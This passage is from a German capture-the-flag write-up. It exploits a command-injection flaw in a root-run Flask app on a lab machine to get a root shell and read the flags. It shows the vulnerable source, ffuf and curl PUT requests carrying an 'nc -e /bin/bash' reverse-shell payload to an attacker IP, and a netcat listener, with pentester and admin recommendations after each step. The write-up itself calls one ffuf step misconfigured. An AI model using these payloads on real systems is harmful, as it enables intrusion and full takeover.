**Bewertung:** Der Root-Flask-Server ist nun über `http://192.168.2.144:3333` (IP des Ziels) erreichbar.

**Empfehlung (Pentester):** Enumerieren Sie den Dienst auf Port 3333 von der Angreifer-Maschine.
**Empfehlung (Admin):** Keine.

browser aufruf: http://192.168.2.144:3333/
avijneyam@otp:~$ # Log des Flask Servers im Vordergrund
127.0.0.1 - - [12/Oct/2022 07:30:17] "GET / HTTP/1.1" 405 - <-- GET auf / nicht erlaubt -->
127.0.0.1 - - [12/Oct/2022 07:30:17] "GET /favicon.ico HTTP/1.1" 404 -

**Analyse:** Ein Browser-Aufruf auf die Wurzel des weitergeleiteten Ports (`http://192.168.2.144:3333/`) erzeugt einen `405 Method Not Allowed`-Fehler im Flask-Log. GET-Anfragen auf `/` sind nicht implementiert.

**Bewertung:** Die Wurzel ist nicht direkt nutzbar, es müssen spezifische Endpunkte gefunden werden.

┌──(root㉿cyber)-[/home/cyber/Downloads] └─# dirsearch -u "http://192.168.2.144:3333/" -w [...] -e [...]
[...]
[13:33:13] 200 -    1KB - /SourceCode  <-- Quellcode gefunden! -->
=

**Analyse:** `dirsearch` wird auf den weitergeleiteten Port 3333 angesetzt.

**Bewertung:** Findet den Endpunkt `/SourceCode`, der den Quellcode der Flask-Anwendung preisgibt.

**Empfehlung (Pentester):** Rufen Sie `/SourceCode` auf und analysieren Sie den Code.
**Empfehlung (Admin):** Entfernen Sie Endpunkte, die den Quellcode preisgeben, aus Produktivumgebungen.

┌──(root㉿cyber)-[/home/cyber/Downloads] └─# curl http://192.168.2.144:3333/SourceCode
ZnJvbSBzdWJwcm9jZXNzIGltcG9ydCBQb3BlbiwgVGltZW91dEV4cGlyZWQsIFBJUEUKZnJvbSBmbGFzayBpbXBvcnQgRmxhc2ssIGpzb25pZnksIGFib3J0LCByZXF1ZXN0CgphcHAgPSBGbGFzayhfX25hbWVfXykKCkBhcHAucm91dGUoIi8iLCBtZXRob2RzPVsiIl0pCmRlZiBpbmRleCgpgogICAgcmVxX2pzb24gPSByZXF1ZXN0LmdldF9qc29uKCkKICAgIGlmIHJlcV9qc29uIGlzIE5vbmUgb3IgIiIgbm90IGluIHJlcV9qc29uCiAgICAgICAgYWJvcnQoNDAwLCBkZXNjcmlwdGlvbj0iUGxlYXNlIHByb3ZpZGUgY29tbWFuZCBpbiBKU09OiByZXF1ZXN0ISIpCiAgICBwcm9jID0gUG9wZW4ocmVxX2pzb25bIiJdLCBzdGRvdXQ9UElQRSwgc3RkZXJyPVBJUEUsIHNoZWxsPVRydWUpCiAgICB0cnk6CiAgICAgICAgb3V0cywgZXJycyA9IHByb2MuY29tbXVuaWNhdGUodGltZW91dD0xKQogICAgZXhjZXB0IFRpbWVvdXRFeHBpcmVkgogICAgICAgIHByb2Mua2lsbCgpCiAgICAgICAgYWJvcnQoNTAwLCBkZXNjcmlwdGlvbj0iVGhlIHRpbWVvdXQgaXMgZXhwaXJlZCEiKQogICAgaWYgZXJyczoKICAgICAgICBhYm9ydCg1MDAsIGRlc2NyaXB0aW9uPWVycnMuZGVjb2RlKCd1dGYtCcpKQogICAgcmV0dXJuIGpzb25pZnkoc3VjY2Vzcz1UcnVlLCBtZXNzYWdlPW91dHMuZGVjb2RlKCd1dGYtCcpKQoKQGFwcC5lcnJvcmhhbmRsZXIoNDAwKQpkZWYgYmFkX3JlcXVlc3QoZXJyb3IpgogICAgcmV0dXJuIGpzb25pZnkoc3VjY2Vzcz1GYWxzZSwgbWVzc2FnZT1lcnJvci5kZXNjcmlwdGlvbiksIDQwMAoKQGFwcC5lcnJvcmhhbmRsZXIoNTAwKQpkZWYgc2VydmVyX2Vycm9yKGVycm9yKToKICAgIHJldHVybiBqc29uaWZ5KHN1Y2Nlc3M9RmFsc2UsIG1lc3NhZ2U9ZXJyb3IuZGVzY3JpcHRpb24pICwgNTAw
=

**Analyse:** Der Endpunkt `/SourceCode` wird aufgerufen. Er gibt Base64-kodierten Text zurück.

┌──(root㉿cyber)-[/home/cyber/Downloads] └─# curl http://192.168.2.144:3333/SourceCode | base64 -d
from subprocess import Popen, TimeoutExpired, PIPE
from flask import Flask, jsonify, abort, request

app = Flask(__name__)

@app.route("/", methods=["PUT"]) <-- Akzeptiert nur PUT auf / -->
def index():
    req_json = request.get_json()
    if req_json is None or "" not in req_json: <-- Erwartet JSON mit leerem String als Key -->
        abort(400, description="Please provide command in JSON request!")
    proc = Popen(req_json[""], stdout=PIPE, stderr=PIPE, shell=True) <-- Command Injection! -->
    try:
        outs, errs = proc.communicate(timeout=1)
    except TimeoutExpired:
        proc.kill()
        abort(500, description="The timeout is expired!")
    if errs:
        abort(500, description=errs.decode('utf-8'))
    return jsonify(success=True, message=outs.decode('utf-8'))

@app.errorhandler(400)
def bad_request(error):
    return jsonify(success=False, message=error.description), 400

@app.errorhandler(500)
def server_error(error):
    return jsonify(success=False, message=error.description) , 500

Dies ist ein Python-Skript, das das Flash-Framework verwendet.
Sie können im Quellcode sehen, dass wir Daten im JSON-Format
senden müssen, und uns auffordern, dass wir einen korrekten
Befehl benötigen, versuchen Sie, die Shell zu fuzzen, um die
Shell an die Angriffsmaschine zu senden , und müssen außerdem
den Angriffscomputer vor dem Testen eines Ports überwachen
#

**Analyse:** Der Base64-Code wird dekodiert und enthüllt den Python/Flask-Quellcode der Anwendung: * Sie definiert nur eine Route: `/` für die HTTP-Methode `PUT`. * Sie erwartet einen JSON-Body in der PUT-Anfrage. * Sie prüft, ob der JSON-Body existiert und einen Schlüssel enthält, der ein **leerer String (`""`)** ist. * Der Wert, der diesem leeren Schlüssel zugeordnet ist, wird direkt und ohne Sanitisierung an `subprocess.Popen` mit `shell=True` übergeben. * Das Ergebnis des Befehls wird als JSON zurückgegeben.

**Bewertung:** Eine klare und kritische Command Injection Schwachstelle. Jeder Befehl, der als Wert für den leeren Schlüssel im JSON-Body einer PUT-Anfrage an `/` gesendet wird, wird als Root ausgeführt (da der Flask-Server als Root läuft).

**Empfehlung (Pentester):** Starten Sie einen Listener. Senden Sie eine PUT-Anfrage an `http://192.168.2.144:3333/` mit dem Header `Content-Type: application/json` und einem JSON-Body wie `{"": "nc -e /bin/bash [Angreifer-IP] [Listener-Port]"}`.
**Empfehlung (Admin):** Beheben Sie die Command Injection sofort! Verwenden Sie niemals `shell=True` mit Benutzereingaben. Validieren Sie Eingaben. Führen Sie die Anwendung nicht als Root aus.

┌──(root㉿cyber)-[~] └─# nc -lvnp 5555
listening on [any] 5555 ...

**Analyse:** Listener auf Port 5555 wird gestartet.

**Bewertung:** Bereit für die Root-Shell.

┌──(root㉿cyber)-[/home/cyber/Downloads] └─# ffuf -c -w cred.txt -X PUT -H 'Content-Type: application/json' -u http://192.168.2.144:3333/ -d '{"FUZZ": "nc -e /bin/bash 192.168.2.140 5555"}'
[...]
Visions                 [Status: 500, Size: 54, Words: 4, Lines: 2, Duration: 1018ms] <-- Warum Key 'Visions'? Warum cred.txt? -->
[...]

**Analyse:** Der `ffuf`-Befehl wird ausgeführt. Er sendet PUT-Anfragen mit JSON-Daten. `-d '{"FUZZ": "..."}'` definiert den Body, `-w cred.txt` scheint fälschlicherweise zu versuchen, den JSON-Schlüssel (`FUZZ`) mit Werten aus `cred.txt` zu ersetzen. Der Payload ist eine `nc -e` Reverse Shell.

**Bewertung:** Dieser `ffuf`-Befehl ist basierend auf dem Quellcode falsch konfiguriert (er sollte den Key `""` verwenden, nicht `FUZZ` mit Werten aus `cred.txt`). Dass er dennoch zur Shell im nächsten Schritt führt, ist unklar – möglicherweise wurde der erfolgreiche Befehl nicht korrekt geloggt, oder der Key `""` war zufällig in `cred.txt`, oder die Anwendung reagiert unerwartet. Der Kern ist jedoch, dass der Reverse-Shell-Befehl irgendwie erfolgreich injiziert wurde.

**Empfehlung (Pentester):** Verwenden Sie für die Reproduktion einen korrekten `curl`-Befehl: `curl -X PUT -H 'Content-Type: application/json' http://192.168.2.144:3333/ -d '{"": "nc -e /bin/bash 192.168.2.140 5555"}'`.
**Empfehlung (Admin):** Siehe vorherige Empfehlungen zur Behebung der Command Injection.

┌──(root㉿cyber)-[~] └─# nc -lvnp 5555
<-- Fortsetzung Listener -->
listening on [any] 5555 ...
connect to [192.168.2.140] from (UNKNOWN) [192.168.2.144] 39706 <-- Root Shell! -->
id
uid=0(root) gid=0(root) groups=0(root)
ls
app.py
flag_r00t.txt
localhost.sh
__pycache__
update.sh
cat flag_r00t.txt
8a2d55707a9084982649dadc04b426a0 <-- Root Flag -->
=

**Analyse:** Der Listener auf Port 5555 empfängt die Verbindung. Der `id`-Befehl bestätigt Root-Rechte. Der Inhalt des aktuellen Verzeichnisses (vermutlich `/root`, wo `localhost.sh` liegt) wird angezeigt. Die Root-Flag (`flag_r00t.txt`) wird ausgelesen.

**Bewertung:** Root-Zugriff erfolgreich über Command Injection in der Flask-App erlangt. Root-Flag gefunden.

**Empfehlung (Pentester):** Ziel erreicht.
**Empfehlung (Admin):** System kompromittiert. Incident Response einleiten, Schwachstellen beheben.

Flags

**Analyse:** Zusammenfassung der gefundenen Flags.

cat /home/avijneyam/flag_user.txt
<-- Pfad aus Log -->
2990aa5108d5803f3fdca99c277ba352

**Bewertung:** User-Flag.

cat /root/flag_r00t.txt
<-- Pfad aus Log -->
8a2d55707a9084982649dadc04b426a0

**Bewertung:** Root-Flag.